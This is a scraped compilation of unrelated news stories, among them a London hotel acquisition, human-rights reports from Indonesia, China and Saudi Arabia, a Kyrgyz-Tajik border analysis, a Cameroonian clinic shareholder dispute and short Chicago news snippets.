The announcement comes in line with Adnecs long term investment strategy, aimed at diversifying its business across the Group and achieving optimal integration of its assets through diversified economic sectors.



The decision will further support both the UAE and British business and leisure tourism sectors, alongside the development of the local communities around the hotel, given Adnecs extensive experience and capabilities across the hospitality industry.



The addition brings Adnecs total portfolio of hotels to six, with other hotels under management including the Aloft Abu Dhabi, Andaz Capital Gate, Abu Dhabi, the Anantara Sir BaniYas Island Abu Dhabi, and the Qasr Al Sarab Desert Resort by Anantara in the UAE. It also owns the Aloft London ExCel.



Humaid Matar Al Dhaheri, Managing Director and Group CEO of the Abu Dhabi National Exhibitions Company, said: Adnec is proud to welcome the Double Tree By Hilton London ExCel to our portfolio. Adnec holds a long-term investor perspective in identifying and acquiring key assets in developed markets. As such, this acquisition strengthens the Groups competitiveness, increases the direct and indirect economic contributions of the hotel and hospitality sector to the UK economy, and further enhances the business tourism sectors in both nations.



This acquisition reinforces our commitment to sustain the development of local communities alongside bolstering the relationship between the public and private sector.



We have a long track record in overseeing successful hotel assets and will bring those same strategies and insights to ensure the continued commercial success of this hotel. ExCeL London, and the ecosystem of hotels and hospitality outlets which exist around it, has strong growth potential over coming years: potential which we want to strengthen as much as possible. With this new addition, we will contribute to supporting the further diversification of our income streams and reduce risks from global market fluctuations, he added.

Jeremy Rees, Chief Executive Officer at ExCeL London, commented: This acquisition comes in line with Adnec Groups long-standing commitment to leverage its world-class facilities to create exceptional guest experiences and supports ExCeL in providing a seamless experience to our visitors and exhibitors. We have seen the commitment of Abu Dhabi and Adnec towards the events sector through generating jobs and driving economic impact for London. We are confident that the addition of this new hotel will further solidify ExCeLs wider competitive offering, in line with Adnecs wider global growth strategy.



Alex Pritchard, Co-Founder and Co-Chief Executive Officer of Axiom Hospitality, who will oversee the management of the hotel, commented: The addition of the Double Tree By Hilton Hotel London ExCel will expand our hotel portfolio in London to six assets. The Double Tree By Hilton Hotel London ExCel is a strong quality asset in a strategically important location. The Axiom Hospitality team is excited to be involved in this high profile transaction and excellent asset.



Adnecs new investment comes as a part of a long-term strategy that started in 2008 through acquiring ExCeL London. It kicked-off the expansion construction to add 35,000 sq m of event space, including Londons International Convention Centre (ICC), with Europes largest auditorium (4,500seats), 17 additional meetings rooms, and breakout and banquet space. In 2011, Adnec announced the opening of the Aloft London ExCel Hotel, the first hotel owned by the group in UK.



The Double Tree By Hilton London ExCel is situated directly adjacent to the Londons pre-eminent exhibition centre, ExCeL London, which is also under the ownership of Adnec Group. The nine-floor hotel, built in 2011, contains 287 keys. Situated on the banks of the Royal Docks, near Canary Wharf, the hotel contains a range of dining and leisure outlets for guests.  TradeArabia News Service
Aras Group has announced plans to open the first branch of the famous German restaurant 'Haval Grill' on July 24, with the slogan KoftesPieb, Aryan & Chill.

Located in Jumeirah area of Dubai, it will be the first branch of this chain outside Germany, and in the Middle East, North Africa and South Asia.

Owned by famous German rapper Baba of Babas Xatar, the Haval Grill boasts several branches across Germany in key cities including Bonn, Essen and in Munich.

On the new venture, Chairman Ashraf Mahmoud said: "Aras Group has signed a monopoly contract for the trademark in UAE and all the GCC. We are seeking to open more than one branch of Haval Grill in Dubai and all over the UAE before the end of this year."

"Haval Grill offers the most delicious dishes and the famous grilled kebab sandwiches, which are very popular, as they are prepared and cooked with a special secret mixture "Kofta Shebeez" and served with three different sauces to satisfy all tastes," he stated.

"In addition Haval Grill offers falafel with salad, and to complete the delicious taste, Laban Ayran is served with the meals to refresh the senses," he added.

Mahmoud said the opening will be a grand one as "we will be hosting the German Rapper and Haval Grill owner Xatar in Dubai when he comes to the city for the first time to celebrate the launch and also the Expo 2020."

"To mark the launch, we will soon run a competition on the social media accounts of Haval Grill with amazing giveaways to celebrate with our followers," he added.
by Ati Nurbaiti

Almost 48,000 new cases were reported yesterday, but so far only micro restrictions have been imposed. The government has proposed giving a third dose to doctors and nurses. Indonesias vaccination rate is among the lowest in the world. Isolation facilities are inadequate and personal protective equipment are in short supply.

Jakarta (AsiaNews)  In Indonesia, healthcare workers continue to die from COVID-19 even after being fully vaccinated.

The country is experiencing vaccine shortages and new coronavirus variants are causing an increase in the number of COVID-9-related deaths. Yesterday alone, 47,899 new cases were reported with 864 deaths.

According to the Lapor COVID-19 NGO, 1,231 healthcare workers have died since the start of the pandemic. One of them was Risma Dwi Annisa, a 25-year-old pregnant Red Cross employee.

Her death on Monday is raising concerns. She worked at the Surakarta unit in Central Java province.

For their part, the countrys health authorities have not yet given the green light for any type of vaccine for pregnant women.

In July alone, 35 healthcare passed away, said Adib Khumaidi, mitigation team leader at the Indonesian Medical Association.

Last month, Khumaidi slammed the government's decision to add beds to health facilities without wider scale lockdowns.

In his view, the current micro restrictions at neighbourhood or city levels will not stop the rise in cases outside Java where health facilities and health workers are even scarcer.

Even before the pandemic, Indonesia had barely one doctor for every 1,000 inhabitants. And now doctors complain about the lack of personal protective equipment.

An emergency specialist, Tri Maharani, noted that a lack of safety equipment and comorbidity are contributing to the high death rate among healthcare workers.

In one recent case, a 29-year-old obstetrician-gynaecologist resident died on 6 July. Aliy Akbar was known to have asthma.

To cope with the rise in cases, local authorities have decided to administer an extra dose of the vaccine to health workers.

Health Minister Budi Gunadi Sadikin said that, through the COVAX program, Indonesia obtained more than three million doses of Moderna, destined for 1.47 million doctors and nurses.

We have agreed that the Moderna vaccine will be given as a third dose to provide maximum immunity to existing viral mutations, Minister Budi said.

Indonesia has one of the lowest vaccination rates in the world; only 5.49 per cent of the population has received two doses.

The rise in cases is not due only to the emergence of variants. Far too many Indonesians are unable to keep proper social distancing since they are part of large families and often live in one-room homes with a single bed.

For example, in South Tangerang, the children of a man who died from COVID-19 were placed in a vacant house near their home but are now back with their mother. A local community organisation hopes to move them back to the vacant house while their home is disinfected.
He stands accused of "fomenting unrest". His family and numerous employees of his company are also facing trial. Sun is a champion of the fight against poverty. Punished for helping humanitarian activists like Xu Zhiyong. Xi Jinping continues to crack down on difficult tycoons.

Beijing (AsiaNews)  The trial opens tomorrow against Sun Dawu, the agricultural entrepreneur and philanthropist who has come under fire from the Chinese authorities for his commitment to social justice and humanitarian activists like Xu Zhiyong.

His wife, their adult children and several employees of his company will also appear before the judges of the People's Court of Gaobeidian (Hebei), all arrested on charges of "fomenting unrest". In a statement published yesterday, Chinese Human Rights Defenders (CHRD) condemned the persecution of Sun and those close to him and called for his release.

A favorite of the Chinese Communist Party in its early days, the 67-year-old Sun is the founder of a billion-dollar agricultural empire. Until his arrest in November, the entrepreneur used the profits from his Dawu Agricultural and Animal Husbandry Group to promote social justice, especially in China's poorer rural areas.

Sun has often helped dissidents and human rights lawyers by paying the legal costs of their trials. He especially blames his support for Xu Zhiyong, founder of the 'New Citizens' movement'. Repressed by Xi Jinping, the humanitarian group worked to defeat corruption in society and promote constitutional reforms.

At the start of the pandemic last year, Xu strongly criticised the Chinese president, accusing him of being the cause of the virus' spread and China's social disaster. Immediately after these statements, the police arrested the activist, who is reportedly being held in Linshu prison (Shandong).

According to CHRD, the arrest and imprisonment of Sun, who is considered a champion of the fight against poverty, shows that the Party is more interested in political control than in improving living conditions in the countryside.

The humanitarian organisation also denounced the mistreatment of the businessman and his family in prison, reporting that they were subjected to a long period of administrative detention. According to Chinese law, this restrictive measure should only apply to cases of terrorism and security threats.

Sun faces a sentence of 25 years. In addition to the charge of creating riots, he is being tried on other charges, the most serious of which include 'sabotaging production and economic activity'. According to several observers, the regime fears the economic strength and influence of these businessmen, who represent a potential threat to the Party.

After criticising the country's financial regulations in October, Jack Ma has disappeared from public view. Ma is the founder of Alibaba, the national online trading giant. The situation was worse for the dissident tycoon Ren Zhiqiang, who was sentenced to 18 years in prison in September for corruption offences. Shortly before his arrest, Ren had made headlines for publishing an article on the web in which he called Xi a "power-hungry clown".

In September, police also arrested publisher Geng Xiaonan, accused of defending dissident jurist Xu Zhangrum. Two months later, Chongqing businessman and philanthropist Li Huaiqing received a 20-year sentence for allegedly "inciting subversion against the state".
The international NGO presents the testimony of an (anonymous) prison guard and denounces the situation. Victims included the feminist leader Loujain al-Hathloul and the activist Mohammed al-Rabea. New evidence confirms Saudi Arabia's "total contempt" for the "rule of law". Credible and independent investigations are needed.

Riyadh (AsiaNews) - The account of a prison guard - speaking on condition of anonymity - has revealed a systematic picture of violence and violations of human rights in Saudi prisons that has also affected the Havel 2020 awardee Loujain al-Hathloul, leader of the "right to leadership" for women. This dramatic testimony, relayed by the international NGO Human Rights Watch (HRW), confirms, once again, that behind the facade of reform flaunted by the government leadership, there is a reality of serious abuse, torture and harassment.

In spite of the complaints, the leadership in Riyadh has never carried out any "independent, thorough and credible" investigations, thus endorsing the targeted attacks that, in the last period, have mainly targeted female activists and personalities fighting for freedom. Witnesses report beatings, whippings, sexual harassment and electric shocks.

Hrw collected a series of telephone messages sent last January by an anonymous source (for fear of reprisals), who describes himself as a prison guard in a Saudi prison and who also filed complaints from other colleagues.

New evidence alleging Saudi Arabias brutal torture of womens rights advocates and other high-profile detainees further exposes Saudi Arabias utter contempt for the rule of law and failure to credibly investigate these allegations, said Michael Page, deputy Middle East and North Africa director at Human Rights Watch. Letting abusers off the hook sends the message that they can torture with impunity and never face accountability for such crimes.

The stories relate to Dhabhan prison, north of Jeddah, and another detention centre that the prison guard calls a "secret prison". The detainees, including feminist al-Hathloul and activist Mohammed al-Rabea, were subjected to torture and ill-treatment. Loujain al-Hathloul," wrote the prison guard, "was subjected to sexual harassment that I had never seen before. They enjoyed insulting her. They teased her by saying she would be released and not have to deal with the harassment, including hands stuck in her underwear or offensive words towards her."

In 2019, the prosecutor's office had assured a thorough investigation, the results of which would end up on the desk of King Salman and Crown Prince Mohammed bin Salman. In reality nothing has been done, a "credible and independent" investigation has never started and the perpetrators of the torture continue to enjoy impunity. In February, the court rejected an application by al-Hathloul's family members alleging torture in his cell. A similar fate befell al-Rabea, who was subjected to violence (including electric shocks and waterboarding) for months in complete silence. He was kept for long periods in a small cell, deprived of sleep and food or hung upside down.

According to Hrw's experts, the image of the Wahhabi kingdom will always remain "tarnished" until the authorities allow independent international observers to enter the country and investigate the allegations of violence in prison. The stench of torture and other horrific treatment of Saudi detainees will stick to Saudi leaders unless they take urgent steps to stop these crimes and hold the abusers to account, even at the highest levels, Page concludes.
As his poll numbers slump, Hindu nationalist Chief Minister Yogi Adityanath is promoting population controls as a path for development. People from families with more than four members would be denied public benefits and banned from running for office. Meanwhile, Indias fertility rate is already dropping fast even without such measures.

Lucknow (AsiaNews)  Uttar Pradesh wants families to have only two children, Chief Minister Yogi Adityanath announced.

Adityanath is a member of the Bharatiya Janata Party (BJP), the same Hindu nationalist party to which Indias Prime Minister Narendra Modi belongs.

The two-child policy is included in a bill drafted by the States Law Commission. With a population of 220 million, Uttar Pradesh is one of the most populous states in India.

On paper, the bill does not ban having more children; however, it would achieve the same result through a series of indirect measures.

People with more than two children would not be allowed to work in the public sector, obtain promotions, and, above all, could no longer benefit from welfare programmes. Conversely, families of four or fewer members would receive additional economic benefits.

Parents with more than two children would also not be allowed to contest local elections, a rule that is grotesque considering that most of the state legislators called to vote on the bill have more than two children, Scroll.in, an online Indian news publication, reports.

Some observers believe that Adityanath's move is an attempt to divert attention from his governments poor record ahead of next years state election.

The policy of "fewer mouths to feed, less poverty", which has failed elsewhere, appears even more specious considering that Indias birth rate is already dropping without such legislation.

The fertility rate among women aged 15 to 49 was 3.4 children in 1992-1993; according to the 2015-2016 data (the latest available), it was down to 2.2. According to the National Family Health Survey, the rate is expected to drop to 1.8 children by 2030.

In Uttar Pradesh, according to latest data, the current fertility rate stands at 2.7 children, above the national average, but way down compared to 4.82 in 1992-1993.

For these reason, Adityanath's announcement is proving controversial even among Hindu nationalists. The Vishwa Hindu Parishad, one of the largest Hindutva (nationalist) organisations, is against the bill.

If Uttar Pradesh does adopt the two-child policy, it would not be the first Indian state to do so; others have already such laws on the books with their incentive system.

One of the saddest outcomes of such a policy would be the rise in the scourge of selective abortions.
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Mexico & Banderas Bay Area News



Puerto Vallarta Fire Fighters Get 3 New Fire Engines

Slide Description 002 Slide Description 002 Slide Description 002 Slide Description 002 Slide Description 002 The three new fire engines, which will be used not only for fire fighting but also for other emergency and security actions, were acquired with one hundred percent municipal resources to the tune of 1,778,280 pesos. Puerto Vallarta, Jalisco, Mexico - Last week, three new fire engines were delivered to the Puerto Vallarta Civil Protection and Fire Department, which will not only improve the emergency services provided to citizens, but also the safety and working conditions of the fire fighters themselves.



Acting on behalf of the mayor, the titular councilor of the Civil Protection, Risk Management and Fire Building Commission, Alicia Briones Mercado, recognized the work that the director of the Civil Protection, Firefighters and Lifeguards Department, Adrian Bobadilla Garcia, has done over the last six years to improve our first responders' working conditions, including the recent acquisition of new



She emphasized that the three new fire engines, which will be used not only for fire fighting but also for other emergency and security actions, were acquired with one hundred percent municipal resources to the tune of 1,778,280 pesos.



Bobadilla Garcia celebrated the integration of these three fire engines, or 'pumpers', which not only carry tools, hoses and three thousand liters of water, but also safely transport and protect the personnel.



"Within the institution's projects, one of the priorities is always to minimize, mitigate and reduce response times in emergencies; It is a priority that society demands of us, therefore, to fulfill this objective, personnel, equipment and vehicles are required. That is why these three motorized pump trucks come to strengthen the capacities that we already have, they come to strengthen the service we provide" he said.



"When the necessary tools are available, working conditions are improved, which is reflected in the attention we give to citizens," he added.



On behalf of all the elements of Civil Protection and Firefighters, he expressed his gratitude for the support the municipality provides to the agency, as well as to city councilor Alicia Briones for her ongoing efforts and for always being aware of the needs of Puerto Vallarta's first responders.



Puerto Vallarta Municipal Government press release translated and edited by Ricardo Acerco for BanderasNews.com. - Last week, three new fire engines were delivered to the Puerto Vallarta Civil Protection and Fire Department, which will not only improve the emergency services provided to citizens, but also the safety and working conditions of the fire fighters themselves.Acting on behalf of the mayor, the titular councilor of the Civil Protection, Risk Management and Fire Building Commission, Alicia Briones Mercado, recognized the work that the director of the Civil Protection, Firefighters and Lifeguards Department, Adrian Bobadilla Garcia, has done over the last six years to improve our first responders' working conditions, including the recent acquisition of new vehicles, boats, and life saving equipment for our lifeguards. She emphasized that the three new fire engines, which will be used not only for fire fighting but also for other emergency and security actions, were acquired with one hundred percent municipal resources to the tune of 1,778,280 pesos.Bobadilla Garcia celebrated the integration of these three fire engines, or 'pumpers', which not only carry tools, hoses and three thousand liters of water, but also safely transport and protect the personnel."Within the institution's projects, one of the priorities is always to minimize, mitigate and reduce response times in emergencies; It is a priority that society demands of us, therefore, to fulfill this objective, personnel, equipment and vehicles are required. That is why these three motorized pump trucks come to strengthen the capacities that we already have, they come to strengthen the service we provide" he said."When the necessary tools are available, working conditions are improved, which is reflected in the attention we give to citizens," he added.On behalf of all the elements of Civil Protection and Firefighters, he expressed his gratitude for the support the municipality provides to the agency, as well as to city councilor Alicia Briones for her ongoing efforts and for always being aware of the needs of Puerto Vallarta's first responders.



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Family Violence Clinic expands impact with state, county support

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We anticipate that these funds will help us to hire additional staff and ultimately be able to represent more clients in need. 

At a time when past pandemic restrictions have sparked an upsurge in intimate partner violence, the School of Laws Family Violence and Womens Rights Clinic has received two grants that will significantly boost its capacity to protect people in peril.

The grants, one from New York State and the other from Erie County, come as the clinic prepares to celebrate the 30th anniversary of its founding, including a planned conference, next year. The state grant will support the direct aid that students provide to domestic violence victims under the supervision of Judith Olin, associate clinical professor, and Kelley Omel, adjunct instructor. The county funding will help formalize efforts to establish a domestic violence court watch program to pilot in Erie Countys town and village courts.

The $150,000 state grant was passed as a special legislative member item thanks to Assembly members Karen McMahon, 86 (D-Amherst), and Pat Burke (D-Buffalo). An allocation of $100,000 went to the Family Justice Center of Erie County, one of the clinics community partners and a one-stop shop for people in domestic violence situations. The remaining $50,000 will directly support the work of the law school clinic.

Were deeply appreciative of their efforts, Olin says of the two lawmakers. It really means a lot. We anticipate that these funds will help us to hire additional staff and ultimately be able to represent more clients in need.

Olin hopes the grant will assist in enabling the clinic to hire an additional part-time student attorney supervisor, making it possible for more students to participate and thus more clients to be served with such practical help as seeking orders of protection and obtaining divorces from abusive partners.

There are a good number of clients out there who need representation, Olin says. They dont qualify for free legal services from Neighborhood Legal Services and other free civil legal services providers because they earn a little too much, or there may be a legal conflict of interest.

And the need for representation is great: The lockdowns, isolation and economic instability of the pandemic have only increased the violence in already unstable households. And even before the virus, the numbers locally were dire. Olin says New York State Division of Criminal Justice Services statistics show that twice as many victims were killed by their abuser in Erie County in 2019 compared with the previous year. So it makes sense, she says, to provide more funding to programs that support survivors using the legal system to end abusive relationships.

A targeted $7,500 grant earmarked by the Erie County Legislature is expected to make possible the hiring of a coordinator for a domestic violence court watch program in the county  a project on which clinic students have long been working.

In creating this court watch system for Erie County, says newly graduated clinic student Abbi Fuhrken, 21, all domestic violence prevention partners want to ensure our courts are trauma-informed and that victims of domestic violence are treated with respect. Research has shown that the most important factor contributing to how a litigant views the court system is not whether they win or lose, but instead how they felt they were being treated during the process.

Domestic violence, Fuhrken says, can leave deep emotional scars, and we hope this program will prevent re-traumatizing a person who has experienced our court system because of domestic violence.

Olin says students have developed a toolkit for use by citizen volunteers, who will visit the courts, observe the proceedings in domestic violence cases and evaluate how well each court accomplishes those goals. People dont often think about this, but victims may walk to their car in the parking lot after a court proceeding with an abusive partner who may be very angry about what happened in court, she says. Sometimes courts meet at night, it could be dark. We want to make sure that there are escorts available and appropriate lighting. Court watchers will monitor whether the abusive partner is asked to remain in the courthouse so the survivor can safely get to their car and drive away.

The plan, she says, is to introduce the court watch program in town and village courts, and then possibly expand it to other courts in Erie County that hear domestic violence cases. One source of volunteers for the effort is expected to be the local chapters of Zonta International, a service organization for women with which the clinic is partnering.

To learn more about the Family Violence and Womens Rights Clinic, visit its website.
A century ago, the Italian author Luigi Pirandello wrote a three-act play entitled Six Characters in Search of an Author, which explored the difficulty of differentiating between illusion and reality. The analyst of the recent border clash between Kyrgyzstan and Tajikistan faces the same challenge. The event, which saw the most serious fighting between independent Central Asian republics, offers several plausible explanations with divergent policy implications.

BACKGROUND: In late April 2021, fighting broke out along the frontier between Kyrgyzstans Batken province and Tajikistans Sughd province. The immediate dispute arose over management of the Golovnoy water distribution facility separating what the Kyrgyz call the Ak-suu and the Tajiks refer to as the Isfara River. As in the past, local residents threw rocks and employed some small arms and light weapons. On this occasion, though, the fighting soon escalated to engage professional military forces. As a result, dozens died, hundreds were wounded, and thousands fled to other locations before a ceasefire took effect on May 1.

From one perspective, the fighting arose due to long-unresolved tensions over demarcation and demography. Local competition for arable land and water has been worsened by the artificial borders created by the previous Soviet authorities, which complicate the management of trans-border resources. The Fergana Valley  which includes parts of northern Tajikistan, southern Kyrgyzstan, and eastern Uzbekistan  is particularly replete with ethnic exclaves, in which the nationals of one Central Asian republic are enveloped by the territory of a neighboring country. Of note, more than one-third of the 972km-long state boundary between Kyrgyzstan and Tajikistan remains to be demarcated.

Yet, the recent fighting had disturbingly novel elements, which suggest a more active role of national leaders in causing the crisis. For the first time, conflict parties used heavy weapons such as artillery and tanks. This escalation, moreover, follows the recent escalations of other intrastate conflicts in the former Soviet Union, such as in Nagorno-Karabakh between Armenia and Azerbaijan. The recent clash also began after Kyrgyzstans government in March proposed swapping parts of Kyrgyzstans Batken region for Tajikistans territory of Vorukh, an enclave enveloped by Kyrgyzstans territory. President Emomali Rahmon immediately rejected the trial balloon and then made a rare visit to Vorukh. Tajik officials may have seen the swap proposal as a threat since President Sadyr Japarov also announced that Kyrgyzstans armed forces would hold major military exercises in the area. In addition, policymakers in Dushanbe may have believed that the months of political turmoil in Kyrgyzstan would impede Bishkeks response. The fighting also came when both leaders were burnishing their populist credentials, with Japarov having assumed power irregularly and Rahmon rumored to plan transferring power to his son.

IMPLICATIONS: Russias role in the recent conflict is also opaque. As in last years Belarus and Nagorno-Karabakh crises, the initial Russian government response was hesitant and muted; official statements simply called for a cessation of fighting. The minor role of the Moscow-led Collective Security Treaty Organization (CSTO) in these crises was particularly striking given that its members were involved. Though the CSTO has been building a peacekeeping force and conflict management mechanisms for more than a decade, Russia created an ad hoc force to enforce the Armenia-Azerbaijan ceasefire. Kyrgyzstans government has long sought CSTO mediation of its border conflict with Tajikistan, but Moscow never supported the initiative, even though independent Russian analysts warned about an impending upsurge in fighting and called for preventive action. The outbreak of yet more chaos in Moscows designated sphere of influence could arguably have reflected poor Russian foresight and intelligence, Russian preoccupation with internal challenges, and general imperial overstretch. One analyst bluntly concluded that, in neighboring states, Russias actual influence has been more illusory than real.

An alternative explanation of Moscows behavior during the Kyrgyzstan-Tajikistan conflict perceives Russian actions as more purposeful. Rather than considering Russias response as primarily reactive, this interpretation would view the Kremlin as manipulating the tensions between its neighbors to gain leverage with them, as they each compete for favor with Moscow, and advantages regarding third parties.

Russia has steadily been increasing its military strength in both countries, citing the threat from terrorists operating from Afghanistan. Now their heightened mutual tensions give both states another reason to deepen their defense ties with Russia. Between April 19 and 23, shortly before the Kyrgyzstan-Tajikistan border clash, Russia conducted exceptionally large bilateral exercises with Tajikistan, citing the need to prepare for adverse Afghanistan scenarios. That Russian Defense Minister Sergei Shoigu visited Dushanbe on the same day, April 27, as Tajikistans military launched a well-coordinated offensive against several points along its border with Kyrgyzstan certainly raises eyebrows. Meanwhile, the fact that the CSTO and other Moscow-led multinational institutions played little role in managing these crises could reflect Moscows preference for more controllable bilateral means. These mechanisms include dispatching special envoys, meeting directly with individual national leaders, and exploiting countries dependence on Russian security and economic ties.

One reason Moscow might exploit the crisis to consolidate influence in Central Asia is to counter third parties. There are several challengers to Moscows aspirations for regional hegemony whose policies may inadvertently have contributed to the recent fighting. Though the U.S. is ending its troop presence in Afghanistan, media reports state that the Pentagon may want access to military bases in Central Asia. On April 23, U.S. Secretary of State Antony Blinken met with his Central Asian counterparts through the C5+1 framework, while the U.S. Envoy to Afghanistan, Ambassador Zalmay Khalilzad, made a high-profile visit to Uzbekistan and Tajikistan to discuss Afghanistan-related scenarios. Despite the Sino-Russian strategic partnership, Moscows enthusiasm for Chinas growing presence in both its Central Asian neighbors also has its limits. Russias previously dominant economic position in both countries is under threat from Beijings Belt and Road Initiative (BRI) and other regional integration initiatives. The declining U.S. economic role in the region gives China opportunities to expand its commercial activities, while Afghanistans deteriorating security environment is pushing China to increase its security role to defend its economic and security interests along its western border. Whatever its causes, the recent Kyrgyzstan-Tajikistan conflict will discourage PRC investment in both countries. Other challengers to Russias regional primacy include Turkey, which has leveraged its partnership with Azerbaijan to project greater influence in the Turkic countries of Central Asia, and Iran, which recently negotiated a new defense pact with Tajikistan. Of likely concern to Moscow, China has been deepening its ties with Iran and Turkey, which like Central Asia are important partners in Beijings BRI.

CONCLUSIONS: Assessing the relative importance of these explanations is of more than academic interest. Policymakers will want to craft policies. If the recent fighting is a product of unresolved questions dividing the former Soviet republics due to poorly delineated borders and resource competition, the parties, with third-party assistance, should redouble local efforts to manage them through national reforms and regional compromises on shared resources and infrastructure. In this regard, the recent incident should give the C5+1, the OSCE, and other multinational bodies, along with local NGOs, new opportunities to execute innovative proposals. They and others should also conduct additional research on, for instance, the impact of social media in impeding border compromises and escalating local disputes into wider inter-state conflicts. Significantly, the fighting between Kyrgyzstan and Tajikistan arose when tensions between these two countries and Uzbekistan decreased. Indeed, whereas Uzbekistan pursued the most uncooperative policy towards its neighbors during its previous government, Tashkent has become one of the most collaborative partners in recent years. Not only is this critically important given Uzbekistans central location at the heart of Central Asia and its potential border conflicts, but Tashkent has shown how good leadership can dampen these possible conflicts.

Conversely, if the latest fighting marks a transition to a new era of armed confrontation between Central Asian states, then the Kyrgyzstan-Tajikistan conflict raises the prospects of more unfrozen conflicts and forceful border changes. This latter perspective would align with the hypothesis that Moscow may exploit tensions to advance its influence, directly and relative to third parties like China. One means to counter this adverse impact would be to support proposals to establish mechanisms among Central Asian leaders to manage such border tensions independently of external powers.

AUTHOR'S BIO:

Dr. Richard Weitz is a Senior Fellow and Director of the Center for Political-Military Analysis at the Hudson Institute.

Image Source: Public Domain


Muna Family Archives

An Ordinary General Assembly, Board Meeting and Shareholder's meeting of Daniel Muna Memorial Clinic (DMMC) Bonanjo, Douala billed for today Tuesday, July 13, 2021, failed to take place.

According to dependable sources, the meeting was suspended after H.E. Ama Tutu Muna and George Muna seized the Court of First Instance Bonanjo to challenge the convening of the meeting citing irregularities.

While the subject of the July 13 meeting read, Invitation to Board of Directors Meeting, the body of the document suggests that it was indeed convening three kinds of meetings  a Board of Directors meeting, a Shareholders meeting, and an ordinary general assembly meeting.

Legal experts say it remains unimaginable that three distinct meetings are convened at the same venue and time with the same audience and a confusing agenda, given that not all board members are shareholders.

The Ohada Uniform Act provides that for a General Assembly to be legally convened, the notice of the meeting should be sent to the shareholders 15 days before the date meeting. The Chairman of the Board of Directors of Daniel Muna Memorial Clinic, Dr. Eninwi Mawan Muna signed the invitation to the July 13 meeting on June 29, 2021  only 14 days before the meeting.

The invitation to the Board of Directors meeting rather carried an agenda for a general assembly. Legal experts say the situation is irregular.

Participants convened included: Succession Solomon Tandeng Muna (shareholding members), Succession Daniel Muna (shareholding member), succession Bernard Acho Muna (shareholding member), Succession Humphrey Mamncho Muna (shareholding member) Succession Walinjom F.T. Muna (shareholding member), Mr. George Fombi Muna (shareholding member), Barrister Akere Tabeng Muna (shareholding member), Dr. Eninwi Mawan Muna (member), Mr. Fred Tabeng Muna (member), Mr. Koul A Well (External Auditor), Dr. Dopgima Fofung (General Manager - DMMC), and Dr. Dicmu Lawrence (Assistant General Manager - DMMC).

Given that Daniel Muna Memorial Clinic, S.A is a family business, the exclusion of Minister Ama Tutu Muna and the successor of late Edwin Muna is seen as an irregularity.

Chembifon Diboue Muna, son of late Edwin Muna says Daniel Muna Memorial Clinic S.A. is owned by eight families.

So, for many years, it was working okay. But when Daniel Muna passed, it was okay because the Muna brothers were managing. For the past five years. We have had five members who are deceased. But they have their administrators, their children who are around. And we have three active members who are alive  George Muna, Ama Muna, and Akere Muna, said Chembifon Diboue Muna. But what is happening is that each time we call for a board meeting, as you can see today, we had a board meeting and Akere Muna did not show up. So Akere Muna doesnt come to no board meeting and is manipulating things from the backThere are many things he is doing from the back.

Diboue Muna says that they feel cheated in the sharing of dividends from DMMC.

Five estates feel they are cheated. They do not have their dividends. We have asked for records, we have asked for financial recordsAre we making a profit or loss? I represent my father, he is a shareholder. Am I entitled to a dividend or not? We have asked for those documents. George Muna asked for records and the management said they dont have records on instructions from Akere Muna, he said.

Muna children are not fighting

George Muna, son of late Rt. Hon. S.T. Muna says contrary to public opinion, the Muna children are not fighting and have no family problem.

...We are only saying that we want to know how the clinic is run and to have access to certain documents, said George Muna.

We came for a Board Meeting but we asked that it be canceled until we have those documents. If we are going to a Board of Directors meeting, we should have documents prepared for the meetingLast board meeting, we asked for those documents but we were not given, George Muna added.

On July 6, 2021, Barrister Achu Julius, counsel for Ama Tutu Muna and George Muna who are shareholders of the Daniel Muna Memorial Clinic S.A. wrote to the Board Chair of the company requesting documents prior to the July 13 meeting. The request that had a 24-hour deadline went unheeded.

Ama Muna, George Muna seize the court

Aside from challenging the convening of the meeting, Ama Muna and George Muna prayed the court to declare subsequent resolutions of the said meeting null and void.

The matter came up at 10am this Tuesday at the Bonanjo Magistrates Court. Given that it was an urgent application, the matter was adjourned to midday. At midday, the lawyer for the Clinic told the court that the said meeting convened by Dr. Eninwi Mawan Muna had been suspended because the matter was in court.

The convener of the meeting who sits as Board Chairman had decided to wait for the verdict from the court causing the meeting not to hold.

After listening to the lawyer to Daniel Muna Memorial Clinic who failed to present any written justification, the court decided on its own volition to visit the venue of the meeting to verify the facts that the meeting did not hold.

The matter was adjourned to 2.30pm, time enough for the court to visit the venue of the meeting under contention. At the Head Office of Daniel Muna Memorial Clinic, the court got confirmation from the Board Chairman, Dr. Eninwi Mawan Muna that the meeting did not hold.

When the matter resumed in court at 2:30pm, the court decided that the application for suspension of the meeting was no longer necessary because the company itself had suspended the meeting. The court however ordered that the Board Chairman of Daniel Muna Memorial Clinic should serve all the parties with all the company documents before the convening of the next meeting.
As in much of the country, Tennessees virus outlook has improved significantly since the winter, when cases soared. But in the past two weeks, the number of newly reported cases has climbed, with a statewide average of more than 460 cases daily, according to a New York Times database. Yet the vaccination rate has stalled; about 43% of the population has received at least one vaccine dose, lagging behind a national rate of 55%.
When a stranger pulled out a gun just after midnight, the people who had been gathered outside in the West Garfield Park neighborhood started to run, according to Chicago police. Five of them were shot as they fled.
Matanky Realty Group said in a statement that the company was hired to manage the property in December of 2018 and was unaware of prior citations on the property. It said that when the porch collapsed, the company acted immediately and responsibly to tape off access and arrange for temporary repairs, as instructed by Building Department inspectors.
Being a police officer is not an easy job and our officers carry the weight of the world on their shoulders, the statement continued. They put their lives on the line for the people of Chicago, all while balancing their daily lives and taking care of their families. At the end of the day, these police officers are only human. Its so important now, more than ever, to remember that.
Abedelal told employees that she would sign off on overtime that they never worked, and that the extra money they received would be used to pay legitimate school expenses incurred by the school, when she was actually using it for her own purposes, according to the charges.
Prosecutors filings about the specifics of their accusations about Uche and the Osundairos have not been made public. But from the bench Linn has said prosecutors allege Uche spoke with the brothers about a few key moments early in the case. Among them: whether to turn over a check to Chicago police  likely the personal check Smollett allegedly used to pay them for their help  and whether to insist upon immunity before talking further with authorities.
For Americans, though, it didnt matter if the country was governed well or terribly. Haiti was a political and humanitarian disaster before we went in and after we left. Yet none of what happened in the following years had any noticeable effect on the security or prosperity of the American people. Humanitarian motives have often persuaded U.S. presidents to take military action, but the outcomes have usually confirmed that the road to hell is paved with good intentions.
Yarbrough said in a statement that, pursuant to the recent concerning report in the Chicago Sun-Times, the clerks office temporarily suspended the calculation of tax rates in an abundance of caution. This was not undertaken as a legal matter, per se, but rather out of genuine concern for the senior community and in the interest of all Cook County taxpayers.
